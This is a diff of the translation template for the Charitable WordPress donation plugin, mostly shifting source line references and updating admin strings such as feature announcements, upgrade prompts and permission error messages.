includes/admin/dashboard/class-charitable-dashboard.php:481 #: includes/admin/reports/class-charitable-reports.php:373 msgid "Total Donors" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:936 +#: includes/admin/dashboard/class-charitable-dashboard.php:982 msgid "No Campaigns Yet!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:937 +#: includes/admin/dashboard/class-charitable-dashboard.php:983 msgid "Create your first campaign to start receiving donations." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1001 +#: includes/admin/dashboard/class-charitable-dashboard.php:1047 #: includes/admin/views/campaigns-page/export-form.php:57 #: includes/admin/views/campaigns-page/filter-form.php:40 msgid "Finished" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1002 +#: includes/admin/dashboard/class-charitable-dashboard.php:1048 #: includes/admin/reports/class-charitable-reports.php:350 #: includes/donations/charitable-donation-functions.php:351 msgid "Failed" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1095 +#: includes/admin/dashboard/class-charitable-dashboard.php:1141 msgid "No Donations Yet!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1096 +#: includes/admin/dashboard/class-charitable-dashboard.php:1142 msgid "Start receiving donations to see them here." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1239 +#: includes/admin/dashboard/class-charitable-dashboard.php:1285 msgid "No email" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1276 +#: includes/admin/dashboard/class-charitable-dashboard.php:1322 msgid "No Donors Yet!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1277 +#: includes/admin/dashboard/class-charitable-dashboard.php:1323 msgid "Start receiving donations to see your top donors here." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1347 +#: includes/admin/dashboard/class-charitable-dashboard.php:1393 msgid "Unknown" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1376 +#: includes/admin/dashboard/class-charitable-dashboard.php:1422 #: includes/admin/reports/class-charitable-reports.php:460 msgid "Recurring" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1376 +#: includes/admin/dashboard/class-charitable-dashboard.php:1422 #: includes/admin/reports/class-charitable-reports.php:460 msgid "One-Time" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1381 +#: includes/admin/dashboard/class-charitable-dashboard.php:1427 #: includes/admin/reports/class-charitable-reports.php:468 msgid "Multiple" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1513 +#: includes/admin/dashboard/class-charitable-dashboard.php:1559 #: includes/admin/views/metaboxes/campaign-benefactors/summary.php:35 msgid "Delete" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1532 -#: includes/admin/dashboard/class-charitable-dashboard.php:3686 +#: includes/admin/dashboard/class-charitable-dashboard.php:1578 +#: includes/admin/dashboard/class-charitable-dashboard.php:3732 msgid "No donor comments yet." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1533 -#: includes/admin/dashboard/class-charitable-dashboard.php:3687 +#: includes/admin/dashboard/class-charitable-dashboard.php:1579 +#: includes/admin/dashboard/class-charitable-dashboard.php:3733 msgid "Donor comments will appear here once donors start leaving messages with their donations." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1552 +#: includes/admin/dashboard/class-charitable-dashboard.php:1598 msgid "Donor Comments Not Available" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1553 +#: includes/admin/dashboard/class-charitable-dashboard.php:1599 msgid "The Donor Comments addon is not installed. Upgrade to <strong>Charitable Pro</strong> to access this feature." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1571 +#: includes/admin/dashboard/class-charitable-dashboard.php:1617 msgid "Donor Comments Addon Not Installed" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1572 +#: includes/admin/dashboard/class-charitable-dashboard.php:1618 msgid "Download and activate the Donor Comments addon to view donor comments." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1574 +#: includes/admin/dashboard/class-charitable-dashboard.php:1620 msgid "Download Addon" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1590 +#: includes/admin/dashboard/class-charitable-dashboard.php:1636 msgid "Donor Comments Addon Not Activated" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1591 +#: includes/admin/dashboard/class-charitable-dashboard.php:1637 msgid "The Donor Comments addon is installed but not activated. Click the button below to activate it." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1593 +#: includes/admin/dashboard/class-charitable-dashboard.php:1639 msgid "Activate Addon" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1646 +#: includes/admin/dashboard/class-charitable-dashboard.php:1692 msgid "Anonymous" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1694 -#: includes/admin/dashboard/class-charitable-dashboard.php:1735 +#: includes/admin/dashboard/class-charitable-dashboard.php:1740 #: includes/admin/dashboard/class-charitable-dashboard.php:1781 -#: includes/admin/tools/class-charitable-tools-system-info.php:813 -#: includes/admin/tools/class-charitable-tools-system-info.php:1136 -#: includes/admin/tools/class-charitable-tools-system-info.php:1420 +#: includes/admin/dashboard/class-charitable-dashboard.php:1827 +#: includes/admin/tools/class-charitable-tools-system-info.php:814 +#: includes/admin/tools/class-charitable-tools-system-info.php:1137 +#: includes/admin/tools/class-charitable-tools-system-info.php:1421 msgid "Security check failed" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1699 +#: includes/admin/dashboard/class-charitable-dashboard.php:1745 msgid "You do not have permission to activate plugins." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1706 +#: includes/admin/dashboard/class-charitable-dashboard.php:1752 msgid "Plugin not specified." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1711 +#: includes/admin/dashboard/class-charitable-dashboard.php:1757 msgid "Plugin file not found." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1721 +#: includes/admin/dashboard/class-charitable-dashboard.php:1767 msgid "Addon activated successfully!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1740 #: includes/admin/dashboard/class-charitable-dashboard.php:1786 +#: includes/admin/dashboard/class-charitable-dashboard.php:1832 msgid "You do not have permission to moderate comments." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1747 #: includes/admin/dashboard/class-charitable-dashboard.php:1793 +#: includes/admin/dashboard/class-charitable-dashboard.php:1839 msgid "Comment ID not specified." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1753 #: includes/admin/dashboard/class-charitable-dashboard.php:1799 +#: includes/admin/dashboard/class-charitable-dashboard.php:1845 msgid "Comment not found." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1758 #: includes/admin/dashboard/class-charitable-dashboard.php:1804 +#: includes/admin/dashboard/class-charitable-dashboard.php:1850 msgid "Invalid comment type." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1768 +#: includes/admin/dashboard/class-charitable-dashboard.php:1814 msgid "Comment approved successfully!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1811 +#: includes/admin/dashboard/class-charitable-dashboard.php:1857 msgid "Failed to delete comment." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1814 +#: includes/admin/dashboard/class-charitable-dashboard.php:1860 msgid "Comment deleted successfully!" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1959 +#: includes/admin/dashboard/class-charitable-dashboard.php:2005 msgid "Enhance Your Campaign" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:1969 +#: includes/admin/dashboard/class-charitable-dashboard.php:2015 msgid "View All Addons" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2150 +#: includes/admin/dashboard/class-charitable-dashboard.php:2196 msgid "Addon installed successfully." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2212 +#: includes/admin/dashboard/class-charitable-dashboard.php:2258 msgid "Addon activated successfully." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2282 -#: includes/admin/dashboard/class-charitable-dashboard.php:2961 -#: includes/admin/splash/class-charitable-admin-splash.php:306 +#: includes/admin/dashboard/class-charitable-dashboard.php:2328 +#: includes/admin/dashboard/class-charitable-dashboard.php:3007 +#: includes/admin/splash/class-charitable-admin-splash.php:414 msgid "DonorTrust" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2407 +#: includes/admin/dashboard/class-charitable-dashboard.php:2453 msgid "Let donors give automatically on a daily, weekly, monthly, or yearly schedule." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2408 +#: includes/admin/dashboard/class-charitable-dashboard.php:2454 msgid "Build Trust and Boost Donations with Real-Time Social Proof." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2409 +#: includes/admin/dashboard/class-charitable-dashboard.php:2455 msgid "Allow UK donors to add Gift Aid and boost eligible donations by 25%." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2410 +#: includes/admin/dashboard/class-charitable-dashboard.php:2456 msgid "Give supporters the option to hide their name from public donations." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2411 +#: includes/admin/dashboard/class-charitable-dashboard.php:2457 msgid "Let donors optionally cover processing fees." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2414 +#: includes/admin/dashboard/class-charitable-dashboard.php:2460 msgid "Get detailed insights into your donation traffic and campaign performance." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2415 +#: includes/admin/dashboard/class-charitable-dashboard.php:2461 msgid "Create custom donation forms and surveys to engage with supporters." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2416 +#: includes/admin/dashboard/class-charitable-dashboard.php:2462 msgid "Optimize your campaigns for search engines to reach more potential donors." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2417 +#: includes/admin/dashboard/class-charitable-dashboard.php:2463 msgid "Safely backup and migrate your donation data and campaign content." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2418 +#: includes/admin/dashboard/class-charitable-dashboard.php:2464 msgid "Send targeted push notifications to re-engage donors and drive contributions." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2419 +#: includes/admin/dashboard/class-charitable-dashboard.php:2465 msgid "Automate your donation workflows and connect with other fundraising tools." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2420 +#: includes/admin/dashboard/class-charitable-dashboard.php:2466 msgid "Create beautiful photo galleries to showcase your charitable impact." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2428 +#: includes/admin/dashboard/class-charitable-dashboard.php:2474 msgid "Enhance your campaign with powerful fundraising features." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2707 -#: includes/admin/dashboard/class-charitable-dashboard.php:2733 +#: includes/admin/dashboard/class-charitable-dashboard.php:2753 +#: includes/admin/dashboard/class-charitable-dashboard.php:2779 msgid "Upgrade" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2896 +#: includes/admin/dashboard/class-charitable-dashboard.php:2942 #: templates/campaign-loop/more-link.php:28 msgid "Read More" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2896 +#: includes/admin/dashboard/class-charitable-dashboard.php:2942 msgid "Read Blog" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2958 +#: includes/admin/dashboard/class-charitable-dashboard.php:3004 msgid "Enhancement Payments" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2959 +#: includes/admin/dashboard/class-charitable-dashboard.php:3005 msgid "Reply-To Donors" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:2960 +#: includes/admin/dashboard/class-charitable-dashboard.php:3006 msgid "Square Gateway" msgstr "" #. translators: %s: number of years -#: includes/admin/dashboard/class-charitable-dashboard.php:3142 +#: includes/admin/dashboard/class-charitable-dashboard.php:3188 msgctxt "relative time" msgid "1 year ago" msgstr "" #. translators: %s: number of years -#: includes/admin/dashboard/class-charitable-dashboard.php:3142 +#: includes/admin/dashboard/class-charitable-dashboard.php:3188 #, php-format msgctxt "relative time" msgid "%s year ago" @@ -10563,13 +10585,13 @@ msgstr[1] "" #. translators: %s: number of months -#: includes/admin/dashboard/class-charitable-dashboard.php:3145 +#: includes/admin/dashboard/class-charitable-dashboard.php:3191 msgctxt "relative time" msgid "1 month ago" msgstr "" #. translators: %s: number of months -#: includes/admin/dashboard/class-charitable-dashboard.php:3145 +#: includes/admin/dashboard/class-charitable-dashboard.php:3191 #, php-format msgctxt "relative time" msgid "%s month ago" @@ -10578,13 +10600,13 @@ msgstr[1] "" #. translators: %s: number of weeks -#: includes/admin/dashboard/class-charitable-dashboard.php:3148 +#: includes/admin/dashboard/class-charitable-dashboard.php:3194 msgctxt "relative time" msgid "1 week ago" msgstr "" #. translators: %s: number of weeks -#: includes/admin/dashboard/class-charitable-dashboard.php:3148 +#: includes/admin/dashboard/class-charitable-dashboard.php:3194 #, php-format msgctxt "relative time" msgid "%s week ago" @@ -10593,13 +10615,13 @@ msgstr[1] "" #. translators: %s: number of days -#: includes/admin/dashboard/class-charitable-dashboard.php:3151 +#: includes/admin/dashboard/class-charitable-dashboard.php:3197 msgctxt "relative time" msgid "1 day ago" msgstr "" #. translators: %s: number of days -#: includes/admin/dashboard/class-charitable-dashboard.php:3151 +#: includes/admin/dashboard/class-charitable-dashboard.php:3197 #, php-format msgctxt "relative time" msgid "%s day ago" @@ -10608,13 +10630,13 @@ msgstr[1] "" #. translators: %s: number of hours -#: includes/admin/dashboard/class-charitable-dashboard.php:3154 +#: includes/admin/dashboard/class-charitable-dashboard.php:3200 msgctxt "relative time" msgid "1 hour ago" msgstr "" #. translators: %s: number of hours -#: includes/admin/dashboard/class-charitable-dashboard.php:3154 +#: includes/admin/dashboard/class-charitable-dashboard.php:3200 #, php-format msgctxt "relative time" msgid "%s hour ago" @@ -10623,13 +10645,13 @@ msgstr[1] "" #. translators: %s: number of minutes -#: includes/admin/dashboard/class-charitable-dashboard.php:3157 +#: includes/admin/dashboard/class-charitable-dashboard.php:3203 msgctxt "relative time" msgid "1 minute ago" msgstr "" #. translators: %s: number of minutes -#: includes/admin/dashboard/class-charitable-dashboard.php:3157 +#: includes/admin/dashboard/class-charitable-dashboard.php:3203 #, php-format msgctxt "relative time" msgid "%s minute ago" @@ -10637,38 +10659,38 @@ msgstr[0] "" msgstr[1] "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3159 +#: includes/admin/dashboard/class-charitable-dashboard.php:3205 msgctxt "relative time" msgid "Just now" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3347 +#: includes/admin/dashboard/class-charitable-dashboard.php:3393 msgid "Unable to load blog posts (Simulated API Failure)" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3347 +#: includes/admin/dashboard/class-charitable-dashboard.php:3393 msgid "Unable to load blog posts" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3610 +#: includes/admin/dashboard/class-charitable-dashboard.php:3656 #: includes/admin/views/about/about.php:31 #: includes/admin/views/checklist/checklist.php:75 msgid "Getting Started" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3617 +#: includes/admin/dashboard/class-charitable-dashboard.php:3663 msgid "Support Ticket" msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3683 +#: includes/admin/dashboard/class-charitable-dashboard.php:3729 msgid "Activation failed. Please try again." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3684 +#: includes/admin/dashboard/class-charitable-dashboard.php:3730 msgid "An error occurred. Please try again." msgstr "" -#: includes/admin/dashboard/class-charitable-dashboard.php:3685 +#: includes/admin/dashboard/class-charitable-dashboard.php:3731 msgid "Approved" msgstr "" @@ -11137,7 +11159,8 @@ #: includes/admin/import-items/class-charitable-givewp-importer.php:617 #: includes/gateways/class-charitable-gateways.php:1651 #: includes/gateways/class-charitable-gateways.php:1697 -#: includes/stripe/admin/class-charitable-stripe-admin.php:685 +#: includes/stripe/admin/class-charitable-stripe-admin.php:759 +#: includes/stripe/admin/class-charitable-stripe-admin.php:949 msgid "You do not have permission to perform this action." msgstr "" @@ -11342,92 +11365,92 @@ msgid "Finish the Checklist." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:467 -#: includes/admin/onboarding/class-charitable-setup.php:468 +#: includes/admin/onboarding/class-charitable-setup.php:505 +#: includes/admin/onboarding/class-charitable-setup.php:506 msgid "Setup Charitable" msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1874 +#: includes/admin/onboarding/class-charitable-setup.php:1912 msgid "Starting..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1875 +#: includes/admin/onboarding/class-charitable-setup.php:1913 msgid "Setting Up General Settings..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1876 +#: includes/admin/onboarding/class-charitable-setup.php:1914 msgid "Updating Plugins..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1877 +#: includes/admin/onboarding/class-charitable-setup.php:1915 msgid "Installing Plugins..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1878 +#: includes/admin/onboarding/class-charitable-setup.php:1916 msgid "Activating Plugins..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1879 -#: includes/admin/onboarding/class-charitable-setup.php:1880 +#: includes/admin/onboarding/class-charitable-setup.php:1917 +#: includes/admin/onboarding/class-charitable-setup.php:1918 msgid "Setting Up Features..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1881 +#: includes/admin/onboarding/class-charitable-setup.php:1919 msgid "Setting Up Your First Campaign..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1882 +#: includes/admin/onboarding/class-charitable-setup.php:1920 msgid "Setting Up Payment Methods..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1883 +#: includes/admin/onboarding/class-charitable-setup.php:1921 msgid "Almost done!" msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1888 +#: includes/admin/onboarding/class-charitable-setup.php:1926 msgid "Updating country, currency, and related settings for you." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1889 +#: includes/admin/onboarding/class-charitable-setup.php:1927 msgid "Checking plugins..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1892 -#: includes/admin/onboarding/class-charitable-setup.php:1893 +#: includes/admin/onboarding/class-charitable-setup.php:1930 +#: includes/admin/onboarding/class-charitable-setup.php:1931 msgid "Checking license and site information..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1894 +#: includes/admin/onboarding/class-charitable-setup.php:1932 msgid "Creating draft..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1895 +#: includes/admin/onboarding/class-charitable-setup.php:1933 msgid "Checking payment methods..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1896 +#: includes/admin/onboarding/class-charitable-setup.php:1934 msgid "Finishing things..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1897 +#: includes/admin/onboarding/class-charitable-setup.php:1935 msgid "Stripe offers a seamless and secure payment experience for both you and your donors." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1898 +#: includes/admin/onboarding/class-charitable-setup.php:1936 msgid "Your Charitable install has been setup and is ready for you." msgstr "" #. translators: %1$s: List of requested features -#: includes/admin/onboarding/class-charitable-setup.php:1912 +#: includes/admin/onboarding/class-charitable-setup.php:1950 #, php-format msgid "In order to install and activate some of the features you requested %1$s you need to activate your PRO license after setup is complete." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1913 +#: includes/admin/onboarding/class-charitable-setup.php:1951 msgid "Activating license and installing addons..." msgstr "" -#: includes/admin/onboarding/class-charitable-setup.php:1918 +#: includes/admin/onboarding/class-charitable-setup.php:1956 msgid "Skip setting up Stripe" msgstr "" @@ -12686,57 +12709,57 @@ msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:108 -#: includes/admin/tools/class-charitable-tools-system-info.php:427 +#: includes/admin/tools/class-charitable-tools-system-info.php:428 msgid "One year" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:109 -#: includes/admin/tools/class-charitable-tools-system-info.php:428 +#: includes/admin/tools/class-charitable-tools-system-info.php:429 msgid "Two years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:110 -#: includes/admin/tools/class-charitable-tools-system-info.php:429 +#: includes/admin/tools/class-charitable-tools-system-info.php:430 msgid "Three years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:111 -#: includes/admin/tools/class-charitable-tools-system-info.php:430 +#: includes/admin/tools/class-charitable-tools-system-info.php:431 msgid "Four years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:112 -#: includes/admin/tools/class-charitable-tools-system-info.php:431 +#: includes/admin/tools/class-charitable-tools-system-info.php:432 msgid "Five years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:113 -#: includes/admin/tools/class-charitable-tools-system-info.php:432 +#: includes/admin/tools/class-charitable-tools-system-info.php:433 msgid "Six years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:114 -#: includes/admin/tools/class-charitable-tools-system-info.php:433 +#: includes/admin/tools/class-charitable-tools-system-info.php:434 msgid "Seven years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:115 -#: includes/admin/tools/class-charitable-tools-system-info.php:434 +#: includes/admin/tools/class-charitable-tools-system-info.php:435 msgid "Eight years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:116 -#: includes/admin/tools/class-charitable-tools-system-info.php:435 +#: includes/admin/tools/class-charitable-tools-system-info.php:436 msgid "Nine years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:117 -#: includes/admin/tools/class-charitable-tools-system-info.php:436 +#: includes/admin/tools/class-charitable-tools-system-info.php:437 msgid "Ten years" msgstr "" #: includes/admin/settings/class-charitable-privacy-settings.php:118 -#: includes/admin/tools/class-charitable-tools-system-info.php:437 +#: includes/admin/tools/class-charitable-tools-system-info.php:438 msgid "Forever" msgstr "" @@ -13242,71 +13265,123 @@ msgstr "" #: includes/admin/splash/class-charitable-admin-splash.php:242 -msgid "Security Enhancements" +msgid "Mini Donation Widget" msgstr "" #: includes/admin/splash/class-charitable-admin-splash.php:243 -msgid "Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security." +msgid "Embed a compact donation form anywhere on your site, no page redirect required. Add it to sidebars, landing pages, or any widget area using a simple block or shortcode." msgstr "" #: includes/admin/splash/class-charitable-admin-splash.php:264 -msgid "New Dashboard!" +msgid "Migration & Import Tools" msgstr "" #: includes/admin/splash/class-charitable-admin-splash.php:265 -msgid "Charitable now has a new dashboard design with top campaigns, latest donations, top donors, and comments. New \"30 Day\" period added." +msgid "Move from GiveWP or GiveButter to Charitable in minutes. Expanded import tools include CSV donations import and a new GiveWP Migration Tool (Beta) under a redesigned, tabbed interface." msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:285 -msgid "Advanced Elementor Widgets" +#: includes/admin/splash/class-charitable-admin-splash.php:283 +msgid "Security Enhancements" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:286 -msgid "When you create pages with the Elementor page builder, you'll now find four ready-made Charitable widgets (campaigns, donation button, donation form, campaigns)." +#: includes/admin/splash/class-charitable-admin-splash.php:284 +msgid "Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security." msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:307 -msgid "Showcase real-time, verified donations to your website visitors and encourage more people to donate to your cause." +#: includes/admin/splash/class-charitable-admin-splash.php:301 +msgid "Campaign Showcase" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:327 -msgid "More Stripe Options!" +#: includes/admin/splash/class-charitable-admin-splash.php:302 +msgid "Display all your campaigns beautifully with full layout control including grid, list, or masonry. No coding required." msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:328 -msgid "Charitable now supports ACH Direct Debit, SEPA Direct Debit, Cash App, and BECS Direct Debit for Stripe users." +#: includes/admin/splash/class-charitable-admin-splash.php:322 +msgid "Donations Feed" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:348 -msgid "Google Analytics" +#: includes/admin/splash/class-charitable-admin-splash.php:323 +msgid "Display recent donations in beautiful list or card views with sorting, filtering, pagination, and live polling that automatically refreshes when new donations arrive." +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:343 +msgid "Campaign Modal Button" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:344 +msgid "Add a donate button anywhere on your site that opens a donation form in a modal popup, no page redirect required. Available as a block or shortcode." +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:364 +msgid "Prefill Donation Forms" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:365 +msgid "Pre-populate donation form fields via URL query strings. Perfect for email campaigns, targeted landing pages, and personalized donor outreach." +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:385 +msgid "Campaign Featured Image" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:386 +msgid "Set your campaign's featured image directly from the Campaign Builder. No need to switch to the post editor. Perfect for giving your campaigns a polished, visual identity." +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:406 +msgid "More Recent Features:" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:408 +msgid "Campaign Selector" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:349 -msgid "The new Google Analytics addon means you can track your campaign performance and see how your donors are engaging with your campaign." +#: includes/admin/splash/class-charitable-admin-splash.php:409 +msgid "Envira Gallery Integration" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:519 +#: includes/admin/splash/class-charitable-admin-splash.php:410 +msgid "Visual Form Builder" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:411 +msgid "Donor Leaderboards" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:412 +msgid "Magic Donor Dashboard Link" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:413 +msgid "DIVI Integration" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:415 +msgid "Google Analytics" +msgstr "" + +#: includes/admin/splash/class-charitable-admin-splash.php:572 msgid "What's New in Charitable" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:520 +#: includes/admin/splash/class-charitable-admin-splash.php:573 msgid "Since you've been gone, we've added some great new features to help grow your campaigns and generate more donations. Here are some highlights..." msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:528 -msgid "Add Your License To Activate Charitable Pro Plugin Now!" +#: includes/admin/splash/class-charitable-admin-splash.php:581 +msgid "Add Your License To Activate Charitable Pro Plugin Now And Start Getting More Donations!" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:529 +#: includes/admin/splash/class-charitable-admin-splash.php:582 msgid "Charitable Pro is a powerful upgrade that allows you to manage donors along with built-in features like videos, donor comments, PDF receipts, a dashboard for donors, and more." msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:537 -msgid "Thank you for using Charitable Pro!" +#: includes/admin/splash/class-charitable-admin-splash.php:590 +msgid "Upgrade To The Charitable Pro Plugin At No Cost!" msgstr "" -#: includes/admin/splash/class-charitable-admin-splash.php:538 -msgid "We hope you love the new features and updates we've made to Charitable Pro. Learn more about the latest updates and improvements." +#: includes/admin/splash/class-charitable-admin-splash.php:591 +msgid "Registered users with active license can upgrade to Charitable Pro plugin at NO COST. It's included in all plans (basic, plus, pro, elite)." msgstr "" #: includes/admin/templates/campaign-builder-onboarding.php:23 @@ -13465,19 +13540,19 @@ msgstr "" #. translators: %s is the version number -#: includes/admin/templates/splash/splash-section.php:43 +#: includes/admin/templates/splash/splash-section.php:57 #, php-format msgid "New Feature%s" msgstr "" #. translators: %s is the version number -#: includes/admin/templates/splash/splash-section.php:52 +#: includes/admin/templates/splash/splash-section.php:66 #, php-format msgid "New Addon%s" msgstr "" #. translators: %s is the version number -#: includes/admin/templates/splash/splash-section.php:61 +#: includes/admin/templates/splash/splash-section.php:75 #, php-format msgid "New for Pro%s" msgstr "" @@ -13737,45 +13812,45 @@ msgid "Test Connection" msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:818 -#: includes/admin/tools/class-charitable-tools-system-info.php:1141 -#: includes/admin/tools/class-charitable-tools-system-info.php:1425 +#: includes/admin/tools/class-charitable-tools-system-info.php:819 +#: includes/admin/tools/class-charitable-tools-system-info.php:1142 +#: includes/admin/tools/class-charitable-tools-system-info.php:1426 msgid "Insufficient permissions" msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1168 +#: includes/admin/tools/class-charitable-tools-system-info.php:1169 #, php-format msgid "Test email failed: %s" msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1290 -#: includes/admin/tools/class-charitable-tools-system-info.php:1345 +#: includes/admin/tools/class-charitable-tools-system-info.php:1291 +#: includes/admin/tools/class-charitable-tools-system-info.php:1346 msgid "Security check failed: invalid or expired nonce. Refresh the page and try again." msgstr "" -#: includes/admin/tools/class-charitable-tools-system-info.php:1298 -#: includes/admin/tools/class-charitable-tools-system-info.php:1353 +#: includes/admin/tools/class-charitable-tools-system-info.php:1299 +#: includes/admin/tools/class-charitable-tools-system-info.php:1354 msgid "You do not have the manage_charitable_settings capability." msgstr "" #. translators: %d: number of deleted error logs -#: includes/admin/tools/class-charitable-tools-system-info.php:1311 +#: includes/admin/tools/class-charitable-tools-system-info.php:1312 #, php-format msgid "%d error 